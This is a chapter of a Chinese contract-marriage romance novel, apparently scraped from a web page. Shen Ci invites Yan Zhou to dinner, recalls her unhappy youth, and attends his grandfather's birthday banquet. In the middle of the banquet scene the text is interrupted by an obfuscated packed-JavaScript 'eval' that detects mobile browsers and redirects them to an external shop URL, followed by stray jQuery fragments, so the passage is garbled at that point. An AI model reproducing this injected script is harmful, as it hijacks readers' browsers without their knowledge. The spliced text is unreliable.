13. Chapter 13

作品:《和暗恋男神结婚后

    收到他的消息,沈词呼吸慢了半拍。她想起来近半个月都是自己在麻烦宴舟,她也没给他实质性的回报,好像是有点不厚道。


    沈词:「要不我请你吃饭吧,我知道一家很好吃的湘菜馆,虽然不是什么山珍海味,但是这家湘菜味道很不错,环境也还可以。」


    这是她能接受的最不平价的一家餐厅,就连她自己也只舍得在发薪日那两天下馆子奢侈一回。


    请他吃这家湘菜,是她目前能想到的最大的诚意。


    宴舟:「去外面吃有什么意思,你直接来君御湾给我做。」


    沈词:「但我厨艺一般,我做的饭只能勉强果腹,不好吃的。」


    宴舟:「是你要感谢我,难道不应该我这个受邀者说了算?」


    沈词咂咂嘴,用指尖戳着屏幕:「那好吧,你什么时候方便?」


    宴舟:「随时恭候。」


    宴舟:「不过越快越好,免得沈小姐贵人多忘事,你认为呢?」


    沈词:……


    「那就下周末吧,这周我有事不能去你家。」


    「当然明天爷爷的晚宴肯定不会耽误,我指的是周日有其他事情。」


    宴舟:「一言为定。」


    不经意间,她又多了一次和宴舟见面的机会。


    别人家小孩的青春或许靓丽多彩,但她十几岁的青春简直是一滩剪不断理还乱的泥潭。


    沈词父母离异,法院把她判给了母亲,然而没过多久母亲就带着她改嫁,母亲和继父又生了一个女儿,是她同母异父的妹妹。自妹妹出生后,全家的重心都放在了这个小姑娘身上,母亲不再像从前那样对她上心,愈发冷落她了。


    最让沈词寒心的是,母亲把她的书房改成了给妹妹的婴儿房,甚至还掏空全部的家底给年仅一岁的妹妹在京市付了一套新房的首付,一家人至今都在还贷款。


    沈词从来没把父亲母亲的财产当成自己的私有财产,可就在母亲给继妹买房之前,母亲曾委婉地劝说沈词高中毕业后不要再接着上大学,希望她能早点打工帮衬家里。


    要不是沈词自己争气考上了清大,以区状元的身份获得学费全免的优待,她真有可能因为交不起学费而被迫辍学,碌碌一生无所为。


    而过去无数个看不见希望的黑夜里,想再次见到宴舟是她唯一的念想。她只有好好学习,拼了命留在京市,只有这样她才有机会在茫茫众生中再听到他的名字。


    沈词十五岁第一次认识宴舟,那时她只感叹世上怎么会有这么好看的少年。


    而她十六岁那一年,宴舟偶然在小巷口救下被流氓堵住的她,他像是童话故事里从天而降的王子,会在灰姑娘落魄之际毫不嫌弃地伸出手。


    此后八年辗转,她凭借着一腔孤勇,还有那即使撞了南墙也不回头的决心走到了宴舟身边。哪怕往后她和宴舟注定要分离,至少当下的她是他名义上的妻子,获得他的垂怜。


    “宴学长,我喜欢你这件事,你无需知晓。”


    明晚见,还有……下次见。


    ——她握着手机,默默在心里想。


    -


    宴舟自己住的君御湾是设计风格别致的豪华欧式别墅,而宴家的老宅则是坐落在故宫城下风景优美的旧式园林。从外面望去,这座园林更像是会出现在文旅宣传片里的著名旅游景点,没有人能想到这么大的一座堪称占据了京市价值最高地皮的园林宅子会是私人所属,会是某个人的家。


    这也是沈词头一次造访宴家老宅。


    宴舟刚才说下车的时候,她还以为是因为前方园林作为旅游景点车辆无法通行,需要步行绕过去。


    根本没料到从她下来那一刻起,她目光所及的全部风景,都只是这座园林秀丽景象的冰山一角。


    有没有人能凭借爱意将富士山私有她不知道,但她如今明了,传闻中的皇家园林已是宴家的私有财产。


    而她此刻正站在园子中心,并随着宴舟静静地往里面走。


    沈词尽可能地放轻了脚步,唯恐惊扰到栖息在此处的某位神明。她原先是不信这些鬼神之说的,但她置身于长廊水榭,穿过一百年前就有人听雨赏花的屋檐下,头顶苍穹是再明朗不过的月亮,耳畔是潺潺的水声。


    这一瞬间,她感觉自己仿佛穿越回了千年以前,成为那神色虔诚步履匆匆的朝圣旅人。


    “晚上可能会有客人过来祝寿,但主要还是家宴,在场的大多都是宴家自己人,你不必太过忧心。”


    进门之前,宴舟看了眼身旁的沈词,见她紧张的似乎连眉毛和嘴唇都在用力,他感到有些无奈又好笑。


    “我……我还好,不是特别紧张。”


    沈词定了定心神,佯装镇定。


    而宴舟扫了眼西装衣角,打趣她,“是吗,那你抓这么紧又是做什么?”


    沈词低头一看,这才意识到一路走过来抓着的竟然都是宴舟的衣服。她穿着那天晚上在Elysian和宴舟一起买的鱼尾礼服,上半身搭了件中长款外套保暖,还以为抓的是自己的衣角。


    “……我不小心弄错了。”


    沈词赶忙松开他的西装,只当无事发生。下一秒,宴舟反握住她的手腕,将她柔弱无骨的手攥在掌心,又与她十指相错。


    “嗯?”


    她用眼神示意他。


    宴舟神色自若地说:“这样看起来比较恩爱。提前练习一下,待会儿才不容易出岔子。”


    “也是。”


    沈词点点头,自己也往他身边挪了挪,随他一起进去。


    宴舟一亮相就成了本场焦点,但很快更多人的目光纷纷停留在沈词身上。这是沈词第一回在宴家家宴露面,她可比宴舟招稀罕多了。


    无数道视线同时朝她看过来,或惊讶,或好奇,或审视,或怀疑。人们脸上什么表情都有,但更多的还是打探。毕竟当一个不属于这里的陌生人贸然闯入本就存在的圈层,大家往往都想知道为什么、凭什么。


    沈词陡然有点不自在。


    她以前连大学同学组的局都不常参加,工作后更是独来独往,但凡能推掉的聚餐一律都推了,她哪里见过这种大场面。


    宴舟感知到沈词的局促不安,他悄悄捏了捏她的手掌心,压低声音说:“不用害怕,我会和你在一起。”


    他牵着女孩白嫩的手,忽视在场所有人的目光,迈开步伐径直朝坐在沙发主位的老爷子那里走过去,每一步都迈得从容又沉稳。


    “爷爷,我带阿词回来了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984004|193592||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    直至在老爷子面前站定,宴舟也没有松开她的手。


    听见他叫自己“阿词”,沈词心跳猛地加快两拍。


    想想也是,做戏要做全套,有哪家新婚夫妻婚后还总是直呼伴侣大名的。


    沈词弯了弯眼睛,甜甜地笑着,也跟着宴舟叫人:“爷爷晚上好,我们又见面了。祝您生日快乐,身体安康。这是我给您准备的小礼物,是我的一点点心意,还希望您不要嫌弃。”


    “你能来给爷爷过生日,老头子我就已经很高兴了,你看看你还带什么礼物。阿词快过来坐到爷爷身边来,让爷爷好好看看你。”


    宴呈笑呵呵地朝沈词招手,沈词下意识看了眼身旁的宴舟,似是在征求他的意见。


    宴舟颔首:“去吧,爷爷喜欢你。”


    “那我先过去。”


    沈词走到老爷子身边,挨着他坐下。


    女孩背挺得很直,白皙的脖颈线条纤细又勾人,配上这身靛蓝色的鱼尾礼服,在耀眼的灯光下,她的确像极了端庄大方的公主。


    就连不近女色的宴舟都禁不住带着欣赏的目光多看了两眼。


    刘诚负责将礼物送到该送给的人手上,沈词则是忙着陪老爷子聊天,大哥和大嫂还在二楼的房间陪小孩子,一个不注意,宴舟竟成了落单的那个人。


    “别看了,盯妻狂魔。”


    “少看两眼又能怎么样?你老婆又不会跑。”


    祁屿岸不知是从哪个角落里冒出来的,他撞了下宴舟的肩膀,扬起下巴“啧”了一声,说,“就这你也好意思说协议结婚,说没感情?你眼睛都快长小姑娘身上去了,我还是第一次见咱们宴总这么痴情。”


    宴舟视线收回来的刹那,连嘴角的弧度也一同抹去了。


    他面无表情地开口:“不说话没人把你当哑巴。”


    “一天没见,你怎么变得这么薄情寡义了。亏我还找人警告凡星科技,有本少爷出手,再给他们一百个胆子,谅那群人也不敢为难你老婆。”


    “说说吧,你准备怎么感谢本少爷?我看你新买的那辆兰博基尼不错,借我开两天?”


    祁屿岸虽是律师,但他并不像刻板印象中的律师那般古板严肃,相反,他性子跳脱,和宴舟这座万年冰山相比,祁屿岸更像烈日骄阳,只要靠近他,就会被他散发的光环温暖到。


    “她说想请你吃饭。”


    还没正经聊两句,宴舟的目光又越过人群看向了沈词。


    她约莫是和老爷子聊到了什么有趣的事情,笑得很开心,两个浅浅的梨涡晃了他的眼。


    “她?”


    祁屿岸瞬间了然,“哦你是说你老婆啊,那小词请客我肯定去,我义不容辞你懂吗?”


    “小词?”


    听见祁屿岸的称呼,宴舟眉尾一挑,复述的口吻明显很不客气。


    他都没这么叫过她。


    “怎么了,你宴大少爷该不会连一个简单的称呼都要计较吧?还说自己不喜欢,装,接着装。”


    祁屿岸不想和宴舟费口舌了,他感觉此刻的宴舟宛如一个行走的大醋坛子,并且自带爆破压强和雷点,随便一句话就能点炸。


    恋爱中的男人真可怕,宴舟迟早把身心都赔进去,他想。